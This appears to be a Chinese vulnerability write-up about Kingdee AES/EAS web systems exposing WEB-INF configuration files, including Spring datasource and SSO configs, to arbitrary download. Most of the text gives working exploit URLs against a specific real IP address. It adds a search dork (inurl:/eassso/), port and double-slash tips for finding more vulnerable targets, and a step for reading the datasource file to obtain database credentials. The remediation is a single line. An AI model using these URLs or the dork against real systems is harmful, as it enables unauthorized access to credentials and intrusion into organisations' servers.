java导致敏感信息泄漏的异常_金蝶AES系统Java web配置文件敏感信息泄露漏洞

### 0x01 漏洞框架

金蝶软件始创于1993年，是一家ERP、财务等企业管理软件厂商，拥有官网(kigndee.com)、友商网(youshang.com)、快递100(kuaidi100.com)、云之家(kdweibo.com)等互联网业务应用

官方主页：www.kingdee.com

客户案例：


### 0x02 漏洞利用

金蝶AES系统Java web配置文件可任意下载。

portal下的配置文件：

http://58.63.253.42/portal/WEB-INF/web.xml

http://58.63.253.42/portal/WEB-INF/config/pluto/pluto-portal-driver-services-config.xml

http://58.63.253.42/portal/WEB-INF/config/spring/applicationContext-basic.xml

http://58.63.253.42/portal/WEB-INF/config/spring/applicationContext-datasource.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-frame.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-pub.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-perm.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-setting.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-page.xml

http://58.63.253.42/portal/WEB-INF/config/spring/applicationContext-personal.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-portlet.xml

http://58.63.253.42/portal/WEB-INF/config/spring/applicationContext-weibo.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-report.xml

http://58.63.253.42/portal//WEB-INF/config/spring/applicationContext-sms.xml

http://58.63.253.42/portal/WEB-INF/sso/applicationContext-ssoClient.xml

eassso下的配置文件：

检索关键字： inurl:/eassso/

可以找到了同类系统，以下地址手工验证存在漏洞(该系统较多监听6888端口，可以根据这个特征定位)，若一个斜杠下载不成功，可尝试加双斜杠：

http://58.63.253.42/eassso//WEB-INF/web.xml

http://58.63.253.42/eassso//WEB-INF/applicationContext.xml

http://58.63.253.42/easssoWEB-INF/deployerConfigContext.xml

读取数据源配置 **.**.**.**/portal/WEB-INF/config/spring/applicationContext-datasource.xml， 得到：

```

```

### 0x03 修复方案

禁止通过web访问